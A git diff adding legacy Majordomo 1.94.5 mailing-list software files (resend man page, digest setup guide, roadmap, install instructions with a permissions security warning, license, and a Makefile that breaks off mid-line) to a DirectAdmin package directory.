ffffiiiilllleeee----lllliiiisssstttt + Include; ensure that the message sender (as + represented in the From: line of the incoming + message) is in one of the file(s) specified in + ffffiiiilllleeee----lllliiiisssstttt. ffffiiiilllleeee----lllliiiisssstttt may contain multiple colon + separated pathnames. Each pathname should point to + a file that contains a sendmail-style mailing + list. + + [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg----lllleeeennnnggggtttthhhh]]]] + Maximum; Specify the maximum length of the relayed + message in octets. + + [[[[----RRRR]]]] Delete the "Received:" lines in the incoming + message header. This can make the relayed messages + considerably shorter at the expense of losing some + potentially interesting debugging information. + + [[[[----aaaa ppppaaaasssssssswwwwdddd____ffffiiiilllleeee]]]] + Specify the pathname of the file containing the + approval password for the list. This password is + + + + Page 2 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + used to check Approved: headers when relaying + messages to lists that are marked as moderated + through the ----AAAA option above. + + [[[[----dddd]]]] Debug; print what would be done, but don't do it. + + [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] + Set the From: address to ffffrrrroooommmm----aaaaddddddddrrrr + + [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + Set the name of the local host to hhhhoooosssstttt----nnnnaaaammmmeeee. This + name will be used in the From: and To: lines when + updating the headers. + + ----llll lllliiiisssstttt----nnnnaaaammmmeeee + Specify the name of the mailing list as lllliiiisssstttt----nnnnaaaammmmeeee. + This option is required, as rrrreeeesssseeeennnndddd uses this name + to derive the names of many other files. + + [[[[----nnnn]]]] Assign a sequence number to each message as it + comes through. The next sequence number is stored + in the file lists/list-name.seq. If the string + $SEQNUM is found in the $subject-prefix + configuration variable, it is replaced with the + current sequence number. Thus, a $subject_prefix + of "($LIST $SEQNUM)" would render a Subject: line + of (list-name sequence-number). + + [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] + Set the Precedence: header to pppprrrreeeecccceeeeddddeeeennnncccceeee. + + [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] + Set the Reply-To: header to rrrreeeeppppllllyyyy----ttttoooo. + + [[[[----ssss]]]] Administrivia; Search the message for strings + commonly found in administrative messages send to + majordomo mailing lists (e.g. subscribe, + unsubscribe). If these are found in the first 10 + or so lines of the message, the message will be + relayed to the list owner instead of being sent on + to the mailing list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + The alias to which to redirect the message if it + is a proper list submission. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + lllliiiissssttttssss////lllliiiisssstttt----nnnnaaaammmmeeee....ccccoooonnnnffffiiiigggg + + + + Page 3 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Shane + McCarron . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 4 (printed 12/10/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup new file mode 100644 index 0000000..70802c3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup @@ -0,0 +1,105 @@ + +QUICK DIGEST SETUP: + +For the purpose of example, let's say that you have a majordomo list +called "banjo" and that you want to create "banjo-digest". + +1. You need to create two directories: the digest's work directory + and the digest's archive directory. They CAN'T be the same directory. + + Where should these directories be created? Look in your majordomo.cf + file to see how these three variables are defined: $digest_work_dir, + $filedir, $filedir_suffix. Let's say they look like this: + + $digest_work_dir = "/usr/local/mail/digest"; + $filedir = "/usr/local/mail/files"; + $filedir_suffix = ".archive"; + + That being the case, you must create these two directories: + + /usr/local/mail/digest/banjo-digest + /usr/local/mail/files/banjo-digest.archive + + The first is the work directory, the second is the archive directory. + + Make sure that majordomo has write permission on both directories. + + +2. You must create a majordomo list called "banjo-digest". + + In most respects it is just like any ordinary list, but when you + set up the configuration file (banjo-digest.config), you will + have to configure these parameters: + + digest_issue = 1 + digest_name = Banjo Digest + digest_volume = 1 + digest_maxdays = + digest_maxlines = + maxlength = 40000 + message_footer << END + END + message_fronter << END + END + + Remember that these variables are in banjo-digest.config, NOT banjo.config. + + Also, do NOT touch the variables digest_archive, digest_rm_header, etc. + + Both digest_issue and digest_number should start at 1 unless you have + some special reason to do otherwise. The digest name should be an + obvious choice, but don't make it longer than 24 characters. + + "maxlength" is the maximum size in characters (bytes) for a digest. + "digest_maxlines" is the maximum number of lines in a digest. + "digest_maxdays" is the maximum age in days of an article in a digest. + + The last two parameters are optional, but maxlength must be defined. + A digest will automatically be created if any one of the three limits + is exceeded. + + You can put this sort of material in the header or footer: + +message_fronter << END +In this issue: +- +- _SUBJECTS_ +- +See the end of the digest for information about banjo-digest. +END + + Note that you need to indicate blank lines by placing a '-' + character at the beginning of the line. You also indicate + whitespace at the beginning of a line by putting a '-' in + front of the whitespace. + + The _SUBJECTS_ token will be expanded to all of the subject lines + of the messages in the digest, one subject per line. + +3. Create some aliases. + + You need to add to the banjo-outgoing alias: + + banjo-outgoing: :include:/path/to/lists/banjo, banjo-digestify + + and then you need the banjo-digest aliases: + + banjo-digestify: "|/path/to/wrapper digest -r -C -l banjo-digest banjo-digest-outgoing" + + banjo-digest: banjo + banjo-digest-outgoing: :include:/path/to/lists/banjo-digest + owner-banjo-digest-outgoing: harry + banjo-digest-approval: harry + +4. Add a cron job. + + If you want digests to be created at regular intervals, put this + line in your cron table: + + echo mkdigest banjo-digest pluck | mail majordomo@mj.server.com + + ("pluck" is the digest's password). + +5. Test it! + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE new file mode 100644 index 0000000..1371baa --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE @@ -0,0 +1,229 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94 + FUTURE + -------------------------------------------------------------------------- + +* Where is Majordomo headed? +---------------------------- + +In it's current release, 1.94, Majordomo is a stable, yet tangled, +collection of code. As the README says... + + Along the way, it has picked up many features and additions + from various authors. Because of this, and due to the initial + design of Majordomo, certain features (archiving, digesting, + and moderated lists) are currently done in a "non-optimum" + fashion. In short, configuring Majordomo to do some of the + advanced features can be confusing. This is a known problem + and is being worked on. + + +Perhaps it would be enlightening to start with a vision of what +Majordomo should look like in the future, and then expand on the +vision. + + 1) Interaction with Majordomo should be easier; for the list user, + the list owner, and the Majordomo owner. This means an + integrated Web interface, as well as a better mail interface. + + 2) Existing facilities should be integrated better. Archiving and + digesting need integration. + + 3) Access to Majordomo functions and lists should be extensively + configurable, assignable, and easy to control. + + 4) Improvements to adequately handle large lists, and large numbers + of lists. + + 5) Majordomo "plugins", configurable down to a per-list basis. + Hooks for pre & post operations to commands. (ie, substitute a + different method of access checking for certain lists.) + + 6) Reduce, if possible, the morass of aliases needed for a large + Majordomo installation. + + 7) Consider the potential of integrating bulkmailer, TLB, or another + delivery agent into MD for large lists. + + +Now, how are we going to get from here to there? That's the tough +question. + +The first step is to require perl5. This gives us heaps of good +stuff, and will potentially greatly reduce the tangle of current +code. + +Next, abstract, define, and API-ize the core bits. This is where the +hooks to allow custom routines would come in, as well as allowing +drop-in plugins. Archiving and digesting are perfect examples of +this; these are basically post and pre sending operations. + +API-izing things basically enables all the rest to be done easily and +coherently, allowing for the seperate development of some quite useful +features: + o using a DBM database, or perl5 file-struct for all list + configs. + o well-integrated pluggable web interface + o a queue mechanism for busy servers. + o fine-grained access control + o customized address matching + o post and pre Majordomo, List, and Command hooks + o subscriber level features, such as digesting and encryption. + +Some other ideas that come from brainstorming a bit on the MD vision: + + o Group Lists: Define a collection of lists, and manage them + the same way, with the same owners. A 'leader list' would + have 'leader variables' that the other lists 'follow'. + + o From a different viewpoint, Group Lists is simply ownership + delegation. Put Majordomo-owner at the top: + + Mojo Hierarchy + -------------- + Mojo God: All lists + | + Group God: Some lists or commands + | + Command God: Some commands + | + List God: One list + | + Variable God: Some variables + + + o Command queuing: Either plain, ala sendmail, or 'alarm + clocking' -- queue commands, then process when the requests + stop for a certain period. Or perhaps... + + o Majordomo Server. Likely run from inetd, this would be an + interesting way of solving the startup overhead. + + +Now, will all these happen at once? No, not unless someone spends +some development money. What's far more likely is an incremental +change, creaping up to a fabled Majordomo 2.0 knows all, sees all. +Broken down into manageable chunks, I see the following rough order +happening: + + Perl5. APIs, abstraction, and definition of the 'interface + layer' to Majordomo. Perl5 modules replacing bits of + majordomo, and conversion of internal functions to the API. + + Hook implementation. Web interface. Integration of archiving, + digesting. Group Lists, ownership delegation. Access lists. + + Plugins. Database backend for lists, subscribers. Custom + operators. Backend delivery support. + + +Now, by all means, this isn't a complete list. Rather, it's a +compilation of the various ideas that have floated around the +majordomo-workers list and the majordomo developers. + +What is greatly desired is to have the necessary core bits to allow +development of other features to happen in parallel. This could +follow the perl5 module design, with signup of projects to interested +parties. + +Below here is Section 5 of the old README file (1.92), kept as a +placeholder for known bugs as well as random ideas. + +---------------------------------------------------------------------- + +The next major planned release will be majordomo 2.0. The +specification document has been written for it, and is is in the +process of being written. The intent with 2.0 is to have a defined +programmers interface that allows people to develop portable modules +that can be added into majordomo to provide additional +functionality. If you think of majordomo as a stripped down car, and +the addin modules as extra options that you can "buy", then you have +the right idea. Majordomo 1.9x is being released to test the config +file code, and because some of the resend and majordomo features seem +to be needed by people on the majordomo-users list. + +Before the next planned release, there may be other releases in the +1.9x series as bugs are found, and as additional functionality that is +currently hinted at in the config file is added. + +5.1.1 Bugs/Misfeatures/Todo + +The following is a list of things that I want to address at some +point. The items marked with a * imply that patches to implement the +feature have been written, but it is too late in this cycle to apply +the patch and test it. Hopefully some of these items will be fixed +in later versions of majordomo 1.9x. + + 1) Resend only recognizes an Approved: header as the first line in the body. + The approved header should be recognized if it is the first non-blank + line in the body. [[[ fixed in 1.94 ]]] + + 2)* Resend should have a separate moderater address to bounce email to + + 3) Multiple privacy levels have to be provided. yes, no, password protected + + 4) The number of reported hits from which should be tunable + + 5) approve has to be extended to handle almost all commands + + 6) new-list should be part of resend + + 7)* wrapper.c should use sysexits.h for its error codes + [[[ fixed in 1.94 ]]] + 8) auto lists should prevent the list from being subscribed to itself + + 9)* auto lists should make sure that listserv style addresses aren't used + [[[ fixed in 1.94 ]]] +10) provide the ability to smash case of all incoming addresses under + majordomo administrator control. + +11) ability to specify banned users whose posts are ignored. + [[[ fixed in 1.94 with taboo_headers ]]] +12) rework the advertise/noadvertise interface + +13) Look at supporting #included/#exploder lists for mail sublists. + +14) set up reply to be smart enough to break mail loops + (using received: headers) + +15) should -h not be required by resend, or should resend_host keyword go + away? + +16) config should return the input file if there is an error. + +17) digest needs to strip headers and footers from list info. Maybe there + should be a back channel out of resend that doesn't do any + body massaging. + +18) have resend/majordomo check to see if the last Received: line is a + right hand sub/super string of the user's from address. + +19) fix help messages to remove syntax diagram info to stop address + subscriptions like: subscribe list [user@site] + +20)* Support auto digest creation based on number of lines, and age. + +21) Have resend log messages as it sends them through. Can be used to + prevent mail loops as well as provide stats for later use. + +22) analyze code to make sure all areas that require locks are in place + +23) detect error condition (e.g. out of disk space) and deal with them better + [[[ fixed in 1.94 ]]] +24) add code to support incremental config file changes. + +25) add ability to add arbitrary headers to message and check that the + headers are in the proper form. + +26) add the ability to do load limiting of majordomo commands + +27) RCPT messages shouldn't be bounced as administrivia. They should be + in a different class, and should be user settable. + +28) digest always needs to have its archive directory present. Digest + should be rewritten to place its outgoing digest into the + incoming directory, and it should use archive to do archiving if + need be. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL new file mode 100644 index 0000000..d247dc9 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL @@ -0,0 +1,187 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.5 + INSTALL + -------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <-- +-> read the NEWS and Changelog for details on what has changed <-- +-> between versions of Majordomo. <-- + + -------------------------------------------------------------------------- + +** SECURITY ALERT ** + + The default installation of Majordomo, including the checks that +config-test does, WILL NOT RESULT IN A SECURE INSTALLATION. In +particular, the majordomo home directory and the "wrapper" program +are, by default, accessible to any user. These open privileges can be +(mis)used to change list membership, list configuration details, forge +email, perhaps even create and/or delete lists, and anything else that +the majordomo user has permissions to do. + + If Majordomo is *NOT* installed on a secured system with controlled +access (and if you are paranoid, even if it is), you will need to take +additional steps to prevent access to the majordomo directories. +Usually, changing the privileges of the majordomo home directory to be +0750 fixes these problems, but creates the additional burden of +needing to configure the MTA (sendmail, qmail, exim) properly so that +it can read and execute "wrapper". Such configuration is beyond the +scope of this install document, and is left to the FAQ (Doc/FAQ, +Doc/majordomo-faq.html) and the support group +majordomo-users@greatcircle.com to answer. + +** SECURITY ALERT ** + + +UPGRADING: +---------- + +If you're upgrading from a release before 1.94.4, you'll need to either do +a clean install or patch your 1.94.X to 1.94.4 using the patches found at +ftp://ftp.greatcircle.com/pub/majordomo. Then... + +Folks upgrading from 1.94.4 to 1.94.5 have three options: + +1) A clean install. See below. + +2) Patch your _distribution_ of 1.94.4 to 1.94.5: + + % cd distribution/majordomo-1.94.4 + % patch < ...../patches/majordomo-1.94.5/1.94.4-to-1.94.5-patch + + If there are no *.rej files, do a 'make install'. Otherwise, examine + each .rej file and merge the changes in by hand. + +3) Patch your _installation_ of 1.94.4 to 1.94.5: + + % cd /usr/majordomo (ie, where you've installed majordomo) + % patch < ....../majordomo-1.94.5/patches/1.94.4-to-1.94.5-installed-patch + + If there are no *.rej files, you're done! Otherwise, examine + each .rej file and merge the changes in by hand. + + -------------------------------------------------------------------------- + +Steps to do a clean installation of Majordomo: + +1) Pick a group and user ID for Majordomo to run under. Usually this + is "majordomo.daemon". If you're this group, you can do all the + majordomo management functions (creating new lists, etc.) without + having to "su" to Majordomo. You can create and use a group other + id than "daemon" if you want, but if you do, that UID needs to + be a "trusted" user as far as Sendmail is concerned (i.e., the user + name needs to appear on a "T" line in your sendmail.cf file). + + +2) Choose a directory for Majordomo to install into. This must _NOT_ + be the same directory you untarred the Majordomo files into or a + symbolic link to it. + +3) Edit the Makefile, defining where Perl and the C compiler are, the + Majordomo home directory (chosen in step 2), the location of the + manual pages, the user and group that Majordomo will run under, and + the permissions for the various files and directories. If running on + a non-POSIX system, comment out the POSIX SECTION in the Makefile. + Under POSIX, wrapper must be setuid "root", even if the programs will + be running as something other than "root" (i.e., "daemon"), or it + won't work. The symptom of this is that Perl starts complaining about + security violations and "unsafe usages". + +4) Edit majordomo.cf. + + If this is a new install, copy sample.cf to majordomo.cf first. + + This .cf file is "require"ed into majordomo, so it needs to be valid + Perl. Here are the important variables to set: + + $whereami What machine am I on? + $whoami Who do users send requests to me as? + $whoami_owner Who is the owner of the above, for problems? + $homedir Where can I find my extra .pl files? + $listdir Where are the mailing lists? + $log Where do I write my log? + $sendmail_command Where the sendmail program resides. + $mailer What program and args do I use to send mail to the + lists? + $bounce_mailer What program and args do I use to send administrative + messages? + + If this is an upgrade, examine sample.cf for new configuration + variables to place in your existing majordomo.cf. Alternately, running + config-test after the installation is complete will show all the + variables that are missing. + +5) Do a 'make wrapper' to verify that the wrapper program compiles + cleanly. + +6) Do a 'make install' to install the Majordomo programs. This must be + done either as root or as the Majordomo user in order to properly set + the ownership of the various files and directories. + +7) Do a 'make install-wrapper' as root to install the wrapper. This must + be done as root because wrapper must be installed setuid and on POSIX + systems must be owned by root. The wrapper takes care to severely + restrict the programs which may be run by it and further restricts the + environment those programs run with. + +8) Add the majordomo-related aliases to your Sendmail alias file. + This can either be /etc/aliases, or if you are using a more recent + version of Sendmail (8.6 or above) a cleaner approach is to add an + alias file specifically for Majordomo aliases by adding another + "OA" line to /etc/sendmail.cf: + + OA/path/to/majordomo/majordomo.aliases + + If you use the M4 configuration system of recent sendmails, you can add + the following line to your .mc file to achieve the same effect: + + define(`ALIAS_FILE',`/etc/aliases,/path/to/majordomo/majordomo.aliases') + + Whichever method chosen, add the following aliases for Majordomo + itself: + + majordomo: "|/path/to/majordomo/wrapper majordomo" + owner-majordomo: you, + majordomo-owner: you + + Note the program name (majordomo) after wrapper must not be a full path + name. Also look at 'majordomo.aliases' for additional examples. + +9) Chdir to the Majordomo home and (as a regular, unprivileged user, not + the Majordomo user or root) run the configuration test script: + + % cd /path/to/majordomo + % ./wrapper config-test + + This should check for the proper configuration of Majordomo. Fix + any errors, and run again. When the process is complete and there are + no errors, config-test will offer to register your installation of + Majordomo by sending information on your operating system, your Perl + version, and the address of the Majordomo owner to the Majordomo + maintainers. A copy of the message will also be sent to the Majordomo + owner at your site. + + Note that if you have a setup which uses more than one configuration + file, you can have config-test check them by calling it with the name of + an alternate configuration file, like so: + + % ./wrapper config-test alternate.cf + +10) Test the configuration again by creating an empty file 'test' in + $listdir, and issue a 'lists' command to Majordomo: + + % touch /path/to/majordomo/lists/test + % echo 'lists' | mail majordomo + + If everything is working correctly, you should get a message back + from Majordomo, and not Mailer-Daemon. + +11) Browse the Frequently Asked Questions (Doc/FAQ), it can answer + many questions that you might have. + +That's it! To create new lists, read the NEWLIST file. + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE new file mode 100644 index 0000000..46e954e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE @@ -0,0 +1,142 @@ + MAJORDOMO LICENSE AGREEMENT + + + Version 1.1 + 18 May 96 + +Great Circle Associates (GCA) is the original developer of Majordomo, +a package for managing Internet mailing lists. Since its initial +release, many organizations and individuals have contributed +enhancements and fixes, but the original copyright has been retained +by Great Circle Associates. + +Majordomo is distributed in source code form, with almost all +modules written in Perl (there is one small C program), and runs +on many UNIX platforms. Majordomo is not a supported product of +Great Circle Associates, but is made available for use on the following +basis. + +GCA grants you a license as follows to the Majordomo package: + + 1. LICENSE. GCA grants you a non-exclusive, non-transferable +license for the Majordomo package ("Majordomo") and its associated +documentation, subject to all of the following terms and conditions. +In accepting a copy of Majordomo you agree to the following terms +and conditions. + + This license permits you to use, copy, and modify Majordomo +solely for your organization's use. + + 2. LIMITATIONS ON LICENSE. + + a. You may only use, copy, and modify Majordomo + as expressly provided for in this Agreement. + You must reproduce and include this Agreement, and + GCA's copyright notices on any copy and its + associated documentation. + + b. No part of Majordomo may be incorporated into any + program or other product that is sold, or for which any + revenue is received without written permission of + Great Circle Associates, with the following exceptions: + + You may install Majordomo at your site and run + mailing lists for other using it, and charge for + that service. + + You may install Majordomo at other sites, and + charge for your time to install, configure, + customize, and manage it. + + You may charge for enhancements you've made to + the Majordomo software, subject to the distribution + restrictions listed below. + + You may not charge for the Majordomo software + itself. + + A commercial license will be required in all other cases. + + c. If Majordomo is being provided or configured for a + customer, the provider must clearly state in + documentation and bid/proposal materials that the + Majordomo technologies are licensed and provided + by Great Circle Associates, and a copy of this + license must be included with the configured + system. + + d. Majordomo, if modified, must carry prominent notices + stating that changes have been made, and the dates of + any such changes. + + You may publicly distribute an unmodified and + complete version of Majordomo, for instance as + part of a collection of free software packages, + but you must distribute the whole package, and + you must tell people where they can obtain the + latest version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + You may not publicly distribute a modified or + incomplete version of Majordomo. You may make + such a version available to your own clients, + subject to the restrictions below, but not to the + general public (for instance, by placing it on an + anonymous FTP site). + + You may not distribute (publicly or privately) a modified + version of Majordomo without clearly identifying it as such + (by changing the version string in majordomo_version.pl), + identifying the changes (through appropriate README + documentation and/or comments in the code), + identifying who will be responsible for supporting + the modified version, and informing people receiving + the modified version where they can find an + unmodified version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + e. All rights not expressly granted herein are reserved to GCA. + + 3. NO GCA OBLIGATION: You are solely responsible for maintaining +your copy of Majordomo and the security of the operating environment in +which Majordomo may be used. You are solely responsible for all of your +costs and expenses incurred in connection with the distribution of Majordomo +or any Application Program hereunder, and GCA shall have no liability, +obligation or responsibility therefor. GCA shall have no obligation to +provide maintenance, support, upgrades, or new releases to you. + + 4. NO WARRANTY OF PERFORMANCE. Majordomo and its associated +documentation are licensed "as is" without warranty as to their +performance, merchantability, or fitness for any particular purpose. +The entire risk as to the results and performance of Majordomo is +assumed by you. Should Majordomo prove defective, you assume the +entire cost of all necessary servicing, repair, or correction. + + 5. LIMITATION OF LIABILITY. Neither GCA nor any other +person who has been involved in the creation, production or delivery +of Majordomo shall be liable to you or to any other person for any +direct, indirect, special, incidental, consequential, or punitive +damages, even if GCA has been advised of the possibility of such +damages. + + 6. TERM. The license granted hereunder is effective until +terminated. This license shall automatically terminate without notice +if you breach any of the provisions hereof. You may terminate it at +any time by destroying Majordomo and its associated documentation. + + 7. GENERAL. + + a. This Agreement shall be governed by the laws of + the State of California. + + b. Address all correspondence regarding this license + to GCA's electronic mail address + , or to + + Great Circle Associates + 1057 West Dana Street + Mountain View, CA 94041 + USA + +[ Note: the form of this license was derived, by permission, from the license +for the Firewalls Toolkit distributed by Trusted Information Systems, Inc. ] diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile new file mode 100644 index 0000000..90f9c15 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile @@ -0,0 +1,237 @@ + +#$Modified: Tue Jan 18 14:58:24 2000 by cwilson $ +# +# $Source: /sources/cvsrepos/majordomo/Makefile,v $ +# $Revision: 1.64 $ +# $Date: 2000/01/18 14:01:17 $ +# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.64 2000/01/18 14:01:17 cwilson Exp $ +# + +# This is the Makefile for Majordomo. +# +#------------- Configure these items ----------------# +# + +# Put the location of your Perl binary here: +PERL = /usr/bin/perl + +# What do you call your C compiler? +CC = cc + +# Where do you want Majordomo to be installed? This CANNOT be the +# current directory (where you unpacked the distribution) +W_HOME = /etc/virtual/majordomo + +# Where do you want man pages to be installed? +MAN = $(W_HOME)/man + +# You need to have or create a user and group which majordomo will run as. +# Enter the numeric UID and GID (not their names!) here: +W_USER = 987 +W_GROUP = 2 + +# These set the permissions for all installed files and executables (except +# the wrapper), respectively. Some sites may wish to make these more +# lenient, or more restrictive. +FILE_MODE = 644 +EXEC_MODE = 755 +HOME_MODE = 751 + +# If your system is POSIX (e.g. Sun Solaris, SGI Irix 5 and 6, Dec Ultrix MIPS, +# BSDI or other 4.4-based BSD, Linux) use the following four lines. Do not +# change these values! +WRAPPER_OWNER = root +WRAPPER_GROUP = $(W_GROUP) +WRAPPER_MODE = 4755 +POSIX = -DPOSIX_UID=$(W_USER) -DPOSIX_GID=$(W_GROUP) +# Otherwise, if your system is NOT POSIX (e.g. SunOS 4.x, SGI Irix 4, +# HP DomainOS) then comment out the above four lines and uncomment +# the following four lines. +# WRAPPER_OWNER = $(W_USER) +# WRAPPER_GROUP = $(W_GROUP) +# WRAPPER_MODE = 6755 +# POSIX = + +# Define this if the majordomo programs should *also* be run in the same +# group as your MTA, usually sendmail. This is rarely needed, but some +# MTAs require certain group memberships before allowing the message sender +# to be set arbitrarily. +# MAIL_GID = numeric_gid_of_MTA + +# This is the environment that (along with LOGNAME and USER inherited from the +# parent process, and without the leading "W_" in the variable names) gets +# passed to processes run by "wrapper" +W_SHELL = /bin/sh +W_PATH = /bin:/usr/bin:/usr/ucb +W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf + +# A directory for temp files.. +TMPDIR = /tmp + +#--------YOU SHOULDN'T HAVE TO CHANGE ANYTHING BELOW THIS LINE.------------- + +VERSION = 1.94.5 + +# For those stupid machines that try to use csh. Doh! +SHELL = /bin/sh + +WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" \ + -DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \ + -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\" \ + $(POSIX) + +INSTALL = ./install.sh + +TMP = $(TMPDIR)/mj-install-$(VERSION) + +TOOLS = archive.pl archive_mh.pl \ + digest.send makeindex.pl \ + logsummary.pl new-list sequencer + +BINBIN = approve bounce medit + +BIN = bounce-remind config_parse.pl majordomo majordomo.pl \ + majordomo_version.pl request-answer resend \ + shlock.pl config-test archive2.pl digest + +INSTALL_FLAGS = -O $(W_USER) -g $(W_GROUP) + +default: + @echo "make what?" + @echo " install: installs everything." + @echo " install-wrapper: only install wrapper." + @echo " install-scripts: only install the scripts." + @echo " wrapper: only make wrapper." + +install: wrapper install-scripts install-cf install-man + @echo "" + @echo "To finish the installation, 'su' to root and type:" + @echo "" + @echo " make install-wrapper" + @echo "" + @echo "If not installing the wrapper, type" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + @echo "" + @echo "(no 'su' necessary) to verify the installation." + + +install-wrapper: wrapper + $(INSTALL) -o $(WRAPPER_OWNER) -g $(WRAPPER_GROUP) \ + -m $(WRAPPER_MODE) wrapper $(W_HOME)/wrapper + @echo "" + @echo "To verify that all the permissions and etc are correct," + @echo "run the command" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + +# fix where perl lives. +# Create a tmp directory to stuff all the files in, so we +# don't go blithly changing the master copies of stuff. +# +config-scripts: + @echo "Testing for perl ($(PERL))..." + @test -f $(PERL) -a -x $(PERL) || \ + { echo "You didn't correctly tell me where Perl is."; exit 1; } + @rm -rf $(TMP); mkdir $(TMP) + @echo "Configuring scripts..." + @for file in $(TOOLS); do \ + cp contrib/$$file $(TMP) ; \ + done + @cp $(BINBIN) $(BIN) $(TMP) + @cd $(TMP); $(PERL) -p -i -e 's@^#!\S+perl.*@#!$(PERL)@' $(TOOLS) $(BINBIN) $(BIN) + + +install-scripts: config-scripts + $(INSTALL) -m $(HOME_MODE) $(INSTALL_FLAGS) . $(W_HOME) + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/bin + + @echo "Copying tools to $(W_HOME)/bin" + + @for file in $(BINBIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/bin/$$file; \ + done + + @echo "Copying Majordomo files to $(W_HOME)" + + @for file in $(BIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/$$file; \ + done + + @echo "Copying archiving and other tools to $(W_HOME)/Tools" + + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/Tools + + @for file in $(TOOLS); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/Tools/$$file; \ + done + + @rm -rf $(TMP) + +# the install.cf target will install the sample config file in the proper +# place unless a majordomo.cf file exists, in which case the majordomo.cf +# file will be used. It won't overwrite an existing majordomo.cf file. In +# all cases, the sample.cf file must be installed so that config-test will +# be able to check for new variables. +install-cf: + @if [ ! -f $(W_HOME)/majordomo.cf ]; \ + then \ + if [ -f majordomo.cf ]; \ + then \ + echo "Using majordomo.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + majordomo.cf $(W_HOME)/majordomo.cf; \ + else \ + echo "Using sample.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME)/majordomo.cf; \ + fi; \ + else \ + echo "Using installed majordomo.cf"; \ + fi; + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME) + +install-man: + @echo "Installing manual pages in $(MAN)" + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN) + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man1 + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/approve.1 $(MAN)/man1/approve.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/digest.1 $(MAN)/man1/digest.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce.1 $(MAN)/man1/bounce.1 + @$(INSTALL) -m $(FILE_MODE) 